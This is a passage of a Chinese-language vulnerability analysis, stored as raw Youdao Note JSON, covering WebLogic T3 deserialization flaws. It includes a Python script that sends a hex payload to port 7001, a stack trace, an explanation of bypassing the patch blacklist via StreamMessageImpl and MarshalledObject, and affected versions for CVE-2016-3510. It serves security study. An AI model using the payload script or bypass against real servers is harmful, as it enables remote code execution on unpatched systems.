sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        